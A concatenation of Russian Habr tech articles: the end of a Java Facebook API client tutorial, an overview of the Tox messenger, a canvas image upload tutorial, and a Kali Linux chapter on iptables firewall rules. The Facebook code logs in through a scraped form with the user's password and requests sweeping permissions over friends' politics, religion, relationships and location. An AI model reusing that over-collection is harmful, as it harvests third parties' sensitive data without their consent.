if (page.getBody().getTextContent().trim().equalsIgnoreCase("success")) {
/* Извлекаем AccessToken. */
getAccessToken(page.getUrl());
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getAccessToken() {
return this.accessToken;
}
/**
* Получаем информацию о пользователе.
*/
public String getUserInfo(String id) {
/* Генерируем ссылку запроса. */
String requestURL = GRAPH_URL + id + "?access_token=" + accessToken;
/* Посылаем запрос. */
return sendRequest(requestURL);
}
/**
* Публикуем сообщения на стене пользователя.
*/
public String writeInWall(String id, String msg) {
/* Генерируем ссылку публикации. */
String requestURL = GRAPH_URL + id + "?access_token=" + accessToken + "&message=" + encodeMsg(msg);
/* Публикуем сообщение на стене пользователя. */
return publish(requestURL);
}
/**
* Инициализируем WebClient.
*/
private void initWebClient() {
webClient = new WebClient();
/* Отключаем CSS. */
webClient.setCssEnabled(false);
/* Отключаем JavaScript. */
webClient.setJavaScriptEnabled(false);
}
/**
* Получаем форму по formID.
*/
private HtmlForm getForm(String formID) {
HtmlForm form = null;
try {
HtmlPage page = webClient.getPage(getLoginURL());
form = getForm(page, formID);
} catch (Exception e) {
e.printStackTrace();
}
return form;
}
/**
* Получаем форму по formID со страницы page.
*/
private HtmlForm getForm(HtmlPage page, String formID) {
HtmlForm form = null;
List forms = page.getForms();
for (HtmlForm tForm : forms) {
if (tForm.getId().equalsIgnoreCase(formID)) {
form = tForm;
break;
}
}
return form;
}
/\*\*
\* Извлекаем AccessToken из полученной ссылки link.
\*/
private void getAccessToken(URL link) {
String ref = link.getRef();
String token = "access\_token=";
String expires = "&expires";
int startIndex = ref.indexOf(token);
int endIndex = ref.indexOf(expires);
if (startIndex != -1 && endIndex != -1) {
accessToken = ref.substring(startIndex + token.length(), endIndex);
}
}
/\*\*
\* Посылаем запрос.
\*/
private String sendRequest(String request) {
String result = null;
try {
HttpGet get = new HttpGet(request);
DefaultHttpClient client = new DefaultHttpClient();
HttpResponse response = client.execute(get);
result = EntityUtils.toString(response.getEntity());
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
/\*\*
\* Посылаем post запрос.
\*/
private String publish(String request) {
String result = null;
try {
HttpPost post = new HttpPost(request);
DefaultHttpClient client = new DefaultHttpClient();
HttpResponse response = client.execute(post);
result = EntityUtils.toString(response.getEntity());
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
/\* Кодируем текст сообщения. \*/
private String encodeMsg(String msg) {
try {
msg = URLEncoder.encode(msg, HTTP.UTF\_8);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return msg;
}
/\* Формируем ссылку логина. \*/
private String getLoginURL() {
return "https://www.facebook.com/dialog/oauth?client\_id=" + API\_KEY + "&redirect\_uri=" + REDIRECT\_URL + "&scope=" + getPermissions() + "&response\_type=token";
}
/\* Формируем перечень прав приложения. \*/
private String getPermissions() {
StringBuilder permissions = new StringBuilder();
permissions.append("read\_stream,");
permissions.append("user\_birthday,");
permissions.append("user\_religion\_politics,");
permissions.append("user\_relationships,");
permissions.append("user\_relationship\_details,");
permissions.append("user\_hometown,");
permissions.append("user\_location,");
permissions.append("user\_likes,");
permissions.append("user\_activities,");
permissions.append("user\_interests,");
permissions.append("user\_education\_history,");
permissions.append("user\_work\_history,");
permissions.append("user\_online\_presence,");
permissions.append("user\_website,");
permissions.append("user\_groups,");
permissions.append("user\_events,");
permissions.append("user\_photos,");
permissions.append("user\_videos,");
permissions.append("user\_photo\_video\_tags,");
permissions.append("user\_notes,");
permissions.append("user\_about\_me,");
permissions.append("user\_status,");
permissions.append("friends\_birthday,");
permissions.append("friends\_religion\_politics,");
permissions.append("friends\_relationships,");
permissions.append("friends\_relationship\_details,");
permissions.append("friends\_hometown,");
permissions.append("friends\_location,");
permissions.append("friends\_likes,");
permissions.append("friends\_activities,");
permissions.append("friends\_interests,");
permissions.append("friends\_education\_history,");
permissions.append("friends\_work\_history,");
permissions.append("friends\_online\_presence,");
permissions.append("friends\_website,");
permissions.append("friends\_groups,");
permissions.append("friends\_events,");
permissions.append("friends\_photos,");
permissions.append("friends\_videos,");
permissions.append("friends\_photo\_video\_tags,");
permissions.append("friends\_notes,");
permissions.append("friends\_about\_me,");
permissions.append("friends\_status,");
permissions.append("publish\_stream,");
permissions.append("create\_event,");
permissions.append("rsvp\_event,");
permissions.append("sms,");
permissions.append("offline\_access,");
permissions.append("publish\_checkins,");
permissions.append("manage\_friendlists,");
permissions.append("manage\_pages");
return permissions.toString();
}
}
```
Проверяем, что у нас получилось.
```
public class Test {
public static void main(String[] args) {
Facebook facebook = new Facebook();
/* Логинимся. */
facebook.login("email", "pass");
/* Получаем пользовательскую информацию. */
System.out.println(facebook.getUserInfo("me/feed"));
/* Публикуем на стене. */
System.out.println(facebook.writeInWall("me/feed", "Проверка!"));
}
}
```
Заходим на свою страницу и видим следующее:
**P.S.**
Выслушаю и приму на заметку любую критику. Буду очень рад, если кому-то поможет данная статья. | https://habr.com/ru/post/129614/ | null | ru | null |
# Открытый интернет-мессенджер Tox
На фоне всеобщей истерии с АНБ всё большее число людей чувствует необходимость в защищенной связи. Разработчики Tox обещают все, сразу и «из коробки».
Предупреждаю сразу: проект только начал развиваться и пока обещает намного больше, чем готов дать.
В Рунете информации по Tox крайне мало (фактически [единственное упоминание](http://www.opennet.ru/opennews/art.shtml?num=37542) было на opennet.ru). Давайте познакомимся с проектом ближе.
#### Первое впечатление
Разработчики позиционируют Tox как альтернативу Skype.
Вот характеристика проекта с [официального сайта](http://tox.im):
"*Tox создан для того, чтобы позволить вам оставаться на связи с близкими без нарушений приватности. Использование сервисов — лидеров рынка требует платы, тогда как Tox — свободно распространяемая и бесплатная программа. Это значит, вы можете делать с Tox все, что вам угодно*".
На этой же странице заинтересованный пользователь в разделе «Что умеет программа?» может увидеть информацию об аудио- и видеозвонках и скриншот несуществующего пока интерфейса со свистелками (см. изображение ниже). На фоне нерабочей кнопки «Загрузить» и реального состояния проекта смотрится такая реклама неубедительно.
Отнесемся к излишней горячности с пониманием и выясним, что работает на данный момент.
#### Tox в работе
##### [Шифрование](http://wiki.tox.im/Crypto)
Для шифрования используется [NaCl](http://nacl.cr.yp.to/). Для шифрования создаются открытый и закрытый ключи длиной 32 байта каждый. Поиск собеседника производится по предоставленному им открытому ключу. Описание процесса шифрования при добавлении собеседника и обмене сообщениями доступно [здесь](http://wiki.tox.im/Crypto).
##### Адресация пользователей
С целью адресации используется протокол [DHT](http://ru.wikipedia.org/wiki/Распределённая_хеш-таблица): при первом запуске клиента [происходит его идентификация](http://wiki.tox.im/DHT) с DHT-сервером из заданного в настройках клиента [списка](http://wiki.tox.im/Servers).
###### [Критика анонимности](https://github.com/irungentoo/ProjectTox-Core/issues/446)
Согласно мнению одного из пользователей, на данный момент концепция проекта подразумевает уязвимость для флуд- и спам-атак:
«Наблюдение за сетью позволяет определить, кто ты, с кем ты говоришь и кому ты отправляешь запрос на авторизацию. Спамеры или хакеры могут запускать ботов и отправлять случайным пользователям спам или запросы на авторизацию».
##### [Протокол обмена сообщениями](http://wiki.tox.im/Messaging_Protocol)
Действие протокола поверх шифрования с помощью NaCl должно предотвратить возможность распознавания третьей стороной типа передаваемых данных.
Зашифрованное соединение происходит поверх сетевого протокола [Lossless UDP](http://wiki.tox.im/index.php/Lossless_UDP): обещано отсутствие потерь данных. Аудио- и видеоданные будут передаваться по другому протоколу.
##### Установка и использование
Отдельно разрабатывается [ProjectTox-Core](https://github.com/irungentoo/ProjectTox-Core) и отдельно GUI для него. Проект кроссплатформенный (GUI в большинстве своем для одной-двух платформ).
На [странице проекта в Github](https://github.com/irungentoo/ProjectTox-Core) приведены ссылки на текстовые и видеомануалы по установке для различных платформ (отдельно еще необходимо собрать [libsodium](https://github.com/jedisct1/libsodium)).
Список существующих GUI приведен [здесь](http://wiki.tox.im/Client) (GUI существуют под Linux, Windows, MacOS X и iOS).
В комплекте с ProjectTox-Core доступен CLI-интерфейс [nTox](http://wiki.tox.im/NTox) (существует альтернативный CLI: [Toxik](http://wiki.tox.im/Toxic).
###### Qt GUI
Единственным на данный момент GUI под Linux является [Qt GUI](http://wiki.tox.im/Qt_GUI). Для сборки необходим Qt версии 5.0 или выше.
Скачать собранный Qt GUI (x32) можно [здесь](https://dl.dropboxusercontent.com/u/22130570/tox/tox/Tox-QT.7z).
Для работы ему необходимы библиотеки [Qt](http://qt-project.org/downloads) (добавляем путь к библиотекам в переменную `LD_LIBRARY_PATH` и выполняем `export $LD_LIBRARY_PATH`).
Также ссылки на различные бинарники (в т.ч. и для Windows) доступны [здесь](http://wiki.tox.im/Binaries).
Интерфейс клиента (смотрите изображение в начале статьи) достаточно скуп: задаем имя пользователя, нажатием кнопки генерируем для него открытый ключ и копируем его в буфер обмена, после чего ключ можно передавать товарищу и общаться. В настройках доступно редактирование списка DHT-серверов. Клиент поддерживает десяток встроенных смайликов и четыре статуса доступности.
###### Tox Protocol Plugin For Pidgin
Для пользователей мессенджера Pidgin доступен плагин ([официальный сайт](http://tox.dhs.org/), [GitHub](https://github.com/jin-eld/tox-prpl)).
Плагин согласно [костыльной инструкции](http://tox.dhs.org/) собрался, однако заставить Pidgin версии 2.7.3 его увидеть я не смог.
Можете скачать [этот архив](https://dl.dropboxusercontent.com/u/22130570/tox/tox/Tox.7z) (x32), распаковать его в свой домашний каталог и попробовать со своим Pidgin.
Скриншоты интерфейса плагина можете посмотреть [здесь](http://tox.dhs.org/help.html).
#### Заключение
Моей главной целью было информировать русскоязычное сообщество о проекте Tox. Проект на данный момент крайне сырой и нерабочий (скажем прямо: на данный момент пользоваться в повседневном общении Tox нельзя), однако объявленные идеи кажутся интересными.
Обещаны аудио- и видеозвонки, текстовые сообщения, передача файлов — все это с шифрованием, без необходимости начальной настройки, с красивым GUI, открыто и свободно.
Если вам нравится концепция, то вы можете помочь разработчикам, к примеру, переводом документации или тестированием продукта.
**Необходимость в открытой альтернативе Skype назрела давно.**
#### Ссылки
[IRC](http://webchat.freenode.net/?channels=#tox)
[Блог разработчика](http://dev.tox.im/)
[TODO на ближайшее время](http://wiki.tox.im/index.php/TODO)
[Планы на будущее](http://wiki.tox.im/Ideas)
[Планы касательно аудио- и видеофункционала](http://wiki.tox.im/Audio_and_video)
[Reddit](http://www.reddit.com/r/projecttox/)
#### P.S.
Данные опроса разработчиками потенциальных пользователей насчет Tox доступны [здесь](http://wiki.tox.im/Popular_Opinions).
Можете в комментариях ответить на те же вопросы:
1. Что необходимо реализовать, чтобы вы перешли со Skype на Tox?
2. Чего вы ждете от проекта Tox?
3. Идентификатор вашего аккаунта будет представлять случайную строку из 32-х символов. Как вы к этому отнесетесь?
4. Что вы думаете о предложенном макете GUI?
5. Что бы вы хотели добавить или предложить? | https://habr.com/ru/post/193688/ | null | ru | null |
# Javascript: Отправка изображения на канвасе на сервер
Здравствуйте хабровчане.
Решил я сделать отправку изображения с канваса на сервер.
А что из этого получилось смотрите под катом.
Итак, нам нужен браузер, поддерживающий холст.
Я решил сделать возможность мышкой чего-нибудь нарисовать на канвасе и отправить эту картинку на сервер.
##### Поехали
###### Холст
Сразу скажу, что код javascript-овый будет написан на [javascript`е](http://ru.wikipedia.org/wiki/javascript).
Ничего против библиотек не имею, сам их использую. Просто, это более общий случай. При желании можно будет переписать под библиотеки.
Создаём канвас/холст (нужное подчеркнуть):
Теперь надо сделать так, чтобы можно было рисовать на канвасе.
Для рисования нам нужно получить контекст отображения 2D, создать путь, переместиться в начальную точку,
вызвать метод LineTo() для проведения линии в конечную точку, вызвать метод stroke() для рисования контура, закрыть путь.
```
var canvas = document.getElementById('canvas');
var ctx = canvas.getContext("2d");
ctx.beginPath();
ctx.moveTo(x1, y1);
ctx.lineTo(x2, y2);
ctx.stroke();
ctx.closePath();
```
Всё это можно видеть в моём коде, в обработчиках onmousedown, onmouseup и onmousemove.
###### Отправка на сервер
Но с холстом-то ладно, есть куча библиотек для работы с ним. Теперь о том, как отправлять картинки на сервер.
Нам нужно сделать ajax-запрос методом POST.
Только картиночку надо посылать не вот так:
«image=%01%02%03...», а как файл.
Нам нужно поставить Content-type не «application/x-www-form-urlencoded», а «multipart/form-data».
Это значит, что тело запроса будет состоять из других подзапросов, которые сами будут иметь свои собственные заголовки и тела.
Как выглядит тело такого запроса можно посмотреть в LiveHttpHeaders в Firefox-е, создав html-страничку с формой,
с атрибутом enctype=«multipart/form-data»:
Каждый такой подзапрос, соответствует определенному полю формы.
На рисунке у меня отправляется форма с текстовым полем с name=«id» и полем «file» для отправки файла.
Я загружаю файл «loading.gif»
Нам нужно придумать граничный разделитель (boundary), который будет разделять тела запросов.
На рисунке этим разделителем является строка "---------------------------12722593819037", этот разделитель должен разделять эти
подзапросы и не должен встречаться в них.
Перед каждым таким подзапросом должна быть строка "--" + boundary, а после всех — строка "--" + boundary + "--"
Об этом можно почитать здесь: [rfc 1521](http://www.faqs.org/rfcs/rfc1521.html)
О form-data можно почитать в [rfc 1867](http://www.faqs.org/rfcs/rfc1867.html).
Замечу, что на 19.12.2010 в Хроме уже есть объект FormData для создания form-data, а в Файрфоксе будет только в 4 версии.
Для отправки содержимого канваса, будем использовать метод dataURL, который возвращает картинку в виде base64 строки.
Пример:
```
var canvas = document.getElementById('canvas');
var body = canvas.todataURL();
...
xmlhttprequest.open('POST', url);
...
xmlhttprequest.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundary);
...
var data =
/*--boundary*/
"--" + boundary + "\n" +
/*заголовок*/
"Content-Disposition: form-data; name=\"file\"; filename=\"filename\"\n" +
"Content-type: image/png\n\n" +
/*тело*/
body +
/*--boundary--*/
"\n--" + boundary + "--\n";
...
xmlhttprequest.send(data);
```
###### Серверная часть
Для электронных писем можно написать заголовок «Content-Transfer-Encoding» со значением «base64» для указания того,
что прикрепленный файл зашифрован в base64. К сожалению у меня добавление такого заголовка ничего не дало.
Пришлось декодировать base64 на сервере самому.
Одно лишь маленькое «но», я скажу.
Когда читаешь файл кусочками и декодируешь из base64, нужно читать за один раз число байтов кратное 4.
Это связано с кодировкой base64. Она рассматривает каждые 3 байта, как набор из 4 6-битовых символов, а потом каждый
такой 6-битовый символ отображает как какой-нибудь обычный 8-битовый текстовый символ.
(если в конце не хватает двух или одного байта, то берутся нулевые байты, а в полученном тексте добавляется "=" или "==")
Соответственно, если за один раз прочитать количество символов не кратное 4, то мы не получим картинки (можете проверить, подправив мой код).
Собственно, вот код декодирования картинки на PHP:
```
$f = fopen ($filename, 'r') or die('Cannot open file');#Читаем загруженный файл
$f2 = fopen ($path . '/' . $name, 'w') or die('Cannot open file');#Записываем новый фалй
$length = 64;//должно быть кратно 4!
$error = FALSE;
while ($content = fread($f, $length)) {
$content = base64_decode($content, TRUE);
if ($content === FALSE) {
$error = TRUE;
break;
}
fwrite($f2, $content);
}
fclose($f);
fclose($f2);
```
Собственно всё это можно посмотреть на [труъкодинг.рф/canvas/](http://xn--c1abmgrdmpk4e.xn--p1ai/canvas)
Слева будет картинка, чего-нибудь на ней рисуете, нажимаете кнопку «Send», картинка отправляется на сервер,
а потом отображается справа.
Код здесь: [труъкодинг.рф/canvas/canvas.zip](http://xn--c1abmgrdmpk4e.xn--p1ai/canvas/canvas.zip),
и здесь: <http://www.rapidshare.ru/1709200>,
и здесь: <http://narod.ru/disk/1762612001/canvas.zip.html>
на яндексе иногда проскакивает сообщение «файл не найден», пробуйте несколько раз.
Пример здесь: [труъкодинг.рф/canvas/](http://xn--c1abmgrdmpk4e.xn--p1ai/canvas/)
Ссылки:
[RFC MIME](http://www.faqs.org/rfcs/rfc1521.html)
[form-data](http://www.faqs.org/rfcs/rfc1867.html)
[Canvas](https://developer.mozilla.org/en/drawing_graphics_with_canvas)
Удачи!
**upd:** Здесь несколько прикольных изображений, залитых пользователями: [http://труъкодинг.рф/cpg/thumbnails.php?album=1](http://xn--c1abmgrdmpk4e.xn--p1ai/cpg/thumbnails.php?album=1)
**upd:** Подобное оказывается реализовано здесь: <http://www.nihilogic.dk/labs/canvas2image/> | https://habr.com/ru/post/110305/ | null | ru | null |
# Kali Linux: фильтрация трафика с помощью netfilter
→ Часть 1. [Kali Linux: политика безопасности, защита компьютеров и сетевых служб](https://habrahabr.ru/company/ruvds/blog/338338/)
→ Часть 2. [Kali Linux: фильтрация трафика с помощью netfilter](https://habrahabr.ru/company/ruvds/blog/338480/)
→ Часть 3. [Kali Linux: мониторинг и логирование](https://habrahabr.ru/company/ruvds/blog/338668/)
→ Часть 4. [Kali Linux: упражнения по защите и мониторингу системы](https://habrahabr.ru/company/ruvds/blog/338712/)
Представляем вашему вниманию продолжение перевода главы 7 книги «[Kali Linux Revealed](https://kali.training/introduction/kali-linux-revealed-book/)». В прошлый раз речь шла о политиках безопасности и о защите компьютеров и сетевых служб. Этот материал включает в себя перевод раздела 7.4, который посвящён файрволу и фильтрации пакетов.
[](https://habrahabr.ru/company/ruvds/blog/338480/)
7.4. Файрвол или фильтрация пакетов
-----------------------------------
Файрвол — это компьютерное оборудование, которое может быть представлено в виде программного, аппаратного, или программно-аппаратного комплекса. Файрвол обрабатывает входящие и исходящие сетевые пакеты (поступающие в локальную сеть или покидающие её) и пропускает лишь те из них, которые соответствуют неким предопределённым правилам.
Фильтрующий сетевой шлюз — это разновидность файрвола, который защищает всю сеть. Обычно его устанавливают на выделенном компьютере, настроенном как шлюз для сети. В результате этот компьютер может обрабатывать все пакеты, которые пересекают границу между сетью и внешним миром. Как вариант, локальный файрвол — это программная служба, которая работает на конкретной машине для того, чтобы ограничивать доступ к неким службам на этой машине, или, возможно, для предотвращения исходящих соединений, инициируемых нежелательным программным обеспечением, которое пользователь компьютера может, намеренно или случайно, установить.
В ядре Linux имеется встроенный файрвол `netfilter`. Требования различных сетей и пользователей неодинаковы, поэтому не существует стандартного подхода к настройке файрвола, позволяющего получить готовое решение на все случаи жизни. Управлять файрволом `netfilter` можно из пространства пользователя с помощью команд `iptables` и `ip6tables`. Разница между этими двумя командами заключается в том, что первая предназначена для сетей IPv4, вторая — для сетей IPv6. Так как оба стека протоколов, вероятно, будут в ходу ещё многие годы, оба инструмента следует использовать совместно. Кроме того, тут можно применить отличную программу `fwbuilder`, которая даёт графические инструменты для построения и представления правил фильтрации трафика.
Как бы вы ни решили настраивать `netfilter —` это стандартный файрвол Linux, поэтому взглянем поближе на то, как он работает.
7.4.1. Как работает netfilter
-----------------------------
Netfilter использует четыре таблицы, которые хранят правила, регулирующие три вида операций над пакетами:
* `filter`: касается правил фильтрации (принять, отклонить, или проигнорировать пакет);
* `nat` (Network Address Translation): касается трансляции адресов источника, получателя, или портов пакета;
* `mangle`: касается других изменений IP-пакетов (включая поля и параметры ToS — Type of Service);
* `raw`: позволяет выполнять ручные модификации пакетов до того, как они дошли до системы отслеживания соединения.
Каждая таблица содержит списки правил, называемые цепочками. Файрвол использует стандартные цепочки для обработки пакетов, основываясь на предопределённых условиях. Администратор может создавать другие цепочки, которые будут использованы только в случаях, когда на них, прямо или косвенно, ссылается одна из стандартных цепочек.
Таблица `filter` содержит три стандартные цепочки:
* `INPUT`: касается пакетов, пунктом назначения которых является сам файрвол;
* `OUTPUT`: касается пакетов, которые отправляет файрвол;
* `FORWARD`: касается пакетов, которые проходят через файрвол (который не является ни их источником, ни пунктом их назначения).
Таблица `nat` тоже содержит три стандартные цепочки:
* `PREROUTING`: для модификации прибывающих пакетов;
* `POSTROUTING`: для модификации пакетов, когда они готовы отправиться к пункту назначения;
* `OUTPUT`: для модификации пакетов, генерируемых самим файрволом.
Вышеописанные цепочки показаны на рисунке ниже.
*Рис. 7.1. Цепочки netfilter*
Каждая цепочка представляет собой список правил. Каждое правило — это набор условий и действий, которые должны быть выполнены при соблюдении соответствующих условий. В процессе обработки пакета файрвол просматривает подходящую цепочку, правило за правилом, и, когда условия для некоего правила выполняются, он «перепрыгивает» (отсюда и опция `-j —` от слова «jump») к заданному действию для продолжения обработки пакета.
Наиболее распространённые шаблоны поведения стандартизированы, для них существуют выделенные действия. Выполнение одного из этих стандартных действий прерывает проход по цепочке, так как судьба пакета уже предопределена (это не касается упомянутых ниже исключений). Вот список действий `netfilter`:
* `ACCEPT`: позволяет пакету следовать своим путём.
* `REJECT`: отклоняет пакет, генерируя пакет-ошибку ICMP (Internet Control Message Protocol). Опция `iptables --reject-with type` позволяет задать тип выдаваемой ошибки.
* `DROP`: удалить (проигнорировать) пакет.
* `LOG`: записать в системный журнал сообщение (через `syslogd`) с описанием пакета. Обратите внимание на то, что это действие не прерывает обработку пакета, выполнение цепочки продолжается со следующего правила. Именно поэтому логирование отклонённых пакетов требует наличия правил `LOG` и `REJECT/DROP`. Среди часто используемых параметров, касающихся логирования, можно отметить следующие:
* `ULOG`: логирует сообщения с использованием `ulogd`. Такой подход может оказаться эффективнее чем `syslogd` при обработке большого количества сообщений. Обратите внимание на то, что это действие, как и `LOG`, не прерывает обработку пакета.
* `chain_name`: переход к заданной цепочке и обработка её правил.
* `RETURN`: прерывание обработки текущей цепочки и возврат к вызывающей цепочке. В том случае, если текущей цепочкой является одна из стандартных, вызывающей цепочки нет, поэтому вместо этого выполняется действие по умолчанию (заданное с помощью опции `-P` команды `iptables`).
* `SNAT` (только в таблице `nat`): применяет Source Network Address Translation (SNAT). Дополнительные опции описывают то, какие именно изменения нужно выполнить, включая опцию -`-to-source address:port`, которая позволяет задать новый IP-адрес источника пакета, и, при необходимости, порт.
* `DNAT` (только в таблице `nat`): применяет Destination Network Address Translation (DNAT). Дополнительные опции описывают то, какие именно изменения нужно выполнить, включая опцию `--to-destination address:port`, которая позволяет задать новый IP-адрес назначения, и, при необходимости, порт.
* `MASQUERADE` (только в таблице `nat`): выполняет так называемый маскарадинг (особый случай Source NAT).
* `REDIRECT` (только в таблице `nat`): прозрачно перенаправляет пакет на заданный порт самого файрвола. Это действие можно использовать для установки прозрачного веб-прокси, который работает без дополнительных настроек на стороне клиента, так как клиент полагает, что он подключён к получателю, в то время как обмен данными, на самом деле, идёт через прокси. Опция `--to-ports port(s)` позволяет указать порт или диапазон портов, на которые должны быть перенаправлены пакеты.
Описание других действий, в частности тех, которые относятся к таблице `mangle`, выходит за пределы этого материала. Справку по ним можно посмотреть на страницах `man` `iptables(8)` и `ip6tables(8)`.
> ### ▍Что такое ICMP?
>
>
>
> ICMP (Internet Control Message Protocol, протокол межсетевых управляющих сообщений) используется для передачи дополнительной информации о сетевых соединениях. Он позволяет проверять сетевые соединения с помощью команды `ping`, которая отправляет эхо-запросы ICMP, на которые ожидается ответ получателя в виде эхо-ответов ICMP. Этот протокол используется для выдачи сообщений о пакетах, отклонённых файрволом, для указания на переполнение буфера приёма, для предложения лучшего маршрута для следующих пакетов в соединении, и так далее. Этот протокол определён несколькими документами RFC. Первыми были [RFC777](http://www.faqs.org/rfcs/rfc777.html) и [RFC792](http://www.faqs.org/rfcs/rfc792.html), однако, многие другие документы расширяют или пересматривают протокол.
>
>
>
> Например, буфер приёма — это небольшая область памяти, предназначенная для хранения данных после приёма их из сети и до обработки ядром. Если эта память полностью заполнена, новые данные принять невозможно и ICMP сигнализирует о проблеме. В результате источник может снизить скорость передачи данных (которая, через некоторое время, в идеале, должна достигнуть уровня, обеспечивающего баланс между источником и приёмником).
>
>
>
> Обратите внимание на то, что хотя сеть IPv4 может работать и без ICMP, поддержка протокола ICMP v6 совершенно необходима для сетей IPv6, так как этот протокол совмещает несколько функций, которые, в сетях IPv4, были распределены между ICMPv4, Internet Group Membership Protocol (IGMP), и Address Resolution Protocol (ARP). ICMPv6 посвящён стандарт [RFC4443](http://www.faqs.org/rfcs/rfc4443.html).
7.4.2. Синтаксис команд iptables и ip6tables
--------------------------------------------
Команды `iptables` и `ip6tables` используются для работы с таблицами, цепочками и правилами. Их опция -`t table` позволяет указать таблицу, с которой планируется работать (по умолчанию это таблица `filter`).
### ▍7.4.2.1. Команды
Вот основные опции, предназначенные для работы с цепочками:
* `-L chain`: выводит правила в цепочке. Обычно эту опцию используют с опцией `-n` для отключения разрешения имён (например, команда `iptables -n -L INPUT` выведет правила, относящиеся ко входящим пакетам).
* `-N chain`: создаёт новую цепочку. Новые цепочки создают, преследуя множество целей, в том числе — для тестирования новых сетевых служб и для предотвращения сетевых атак.
* `-X chain`: удаляет пустую или неиспользуемую цепочку (например — `iptables -X ddos-attack`).
* `-A chain rule`: добавляет правило в заданную цепочку. Помните о том, что правила обрабатываются, начиная с головы цепочки, учитывайте это, добавляя к цепочкам новые правила.
* `-I chain rule_num rule`: вставляет правило перед правилом, заданным с помощью аргумента `rule_num`. Как и в случае с опцией `-A`, помните о порядке обработке правил, добавляя в цепочку новое правило.
* `-D chain rule_num` (или `-D chain rule`): удаляет правило из цепочки. Первый вариант использования идентифицирует удаляемое правило по номеру (команда `iptables -L --line-numbers` позволяет вывести эти номера). Второй вариант позволяет идентифицировать правило по его содержимому.
* `-F chain`: сбрасывает цепочку (удаляет из неё все правила). Например, для того, чтобы удалить все правила, связанные с исходящими пакетами, можно воспользоваться командой `iptables -F OUTPUT`. Если при использовании этой опции не указаны конкретные цепочки, будут удалены все правила в таблице.
* `-P chain action`: позволяет задать действие по умолчанию, или «политику» для заданной цепочки. Обратите внимание на то, что только стандартные цепочки могут иметь политику. Например, для того, чтобы по умолчанию отбрасывать весь входящий трафик, можно воспользоваться командой `iptables -P INPUT DROP`.
### ▍7.4.2.2. Правила
Каждое правило выражается в виде `conditions -j action action_options`. Если в одном и том же правиле описаны несколько условий, тогда итоговым критерием является объединение этих условий (по правилам логического И). Результат объединения, как минимум, налагает на правило те же ограничения, что и каждое отдельное условие.
Условие `-p protocol` соответствует полю протокола IP-пакета. Наиболее часто используемые значения для этого условия — `tcp`, `udp`, `icmp`, и `icmpv6`. Это условие может быть дополнено условиями, касающимися TCP-портов, с помощью выражений вида `--source-port port` и `--destination-port port`.
> ### ▍Логическое отрицание условий
>
>
>
> Если поставить перед условием восклицательный знак, это приведёт к трансформации его в обратное условие. Например, восклицательный знак в условии опции `-p` позволяет построить выражение следующего вида: «любой пакет с протоколом, отличающимся от заданного». Этот механизм логического отрицания можно применить и к любым другим условиям.
Условие вида `-s address` или `-s network/mask` позволяет фильтровать пакеты по адресу их источника. Соответственно, условия `-d address` или `-d network/mask` позволяют системе реагировать на адреса пунктов назначения пакетов.
Условие вида `-i interface` реагирует на пакеты, которые приходят с указанного сетевого интерфейса. Условие `-o interface` позволяет отбирать пакеты, которые уходят на заданный интерфейс.
Условие `--state state` фильтрует пакеты по их состоянию в соединении (применение этого условия требует наличия модуля ядра `ipt_conntrack` для отслеживания соединений). Так, состояние `NEW` описывает пакет, запрашивающий новое соединение, `ESTABLISHED —` пакет, принадлежащий существующему соединению, `RELATED` — описывает пакет, инициирующий новое соединение, являющееся частью уже существующего соединения (анализ этого состояния полезен для соединений `ftp-data` в «активном» режиме протокола FTP).
У команд `iptables` и `ip6tables` есть множество опций, овладение ими требует серьёзного подхода к их изучению и опыта. Однако, одна из опций, которую вы будете использовать чаще всего — та, которая предназначена для блокировки нежелательного сетевого трафика от некоего хоста или диапазона хостов. Например, для того, чтобы «бесшумно» заблокировать входящий трафик с IP-адреса 10.0.1.5 и подсети класса C 31.13.74.0/24, нужно сделать следующее:
```
# iptables -A INPUT -s 10.0.1.5 -j DROP
# iptables -A INPUT -s 31.13.74.0/24 -j DROP
# iptables -n -L INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 10.0.1.5 0.0.0.0/0
DROP all -- 31.13.74.0/24 0.0.0.0/0
```
Ещё одна часто используемая команда `iptables` предназначена для разрешения сетевого трафика от некоей службы или порта. Например, для того, чтобы позволить пользователям подключаться по SSH, HTTP и IMAP, можно воспользоваться следующими командами:
```
# iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT
# iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
# iptables -A INPUT -m state --state NEW -p tcp --dport 143 -j ACCEPT
# iptables -n -L INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 10.0.1.5 0.0.0.0/0
DROP all -- 31.13.74.0/24 0.0.0.0/0
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:143
```
Считается полезным, для поддержания здоровой атмосферы в системе, убирать старые или неиспользуемые правила. Самый простой способ удаления правил `iptables` заключается в обращении к правилам по номеру строки, который можно получить с помощью опции `--line-numbers`. Однако, тут стоит проявлять осторожность, так как удаление правила приведёт к изменению номеров всех правил, расположенных ниже его в цепочке:
```
# iptables -n -L INPUT --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 DROP all -- 10.0.1.5 0.0.0.0/0
2 DROP all -- 31.13.74.0/24 0.0.0.0/0
3 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
4 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
5 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:143
# iptables -D INPUT 2
# iptables -D INPUT 1
# iptables -n -L INPUT --line-numbers
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
2 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
3 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:143
```
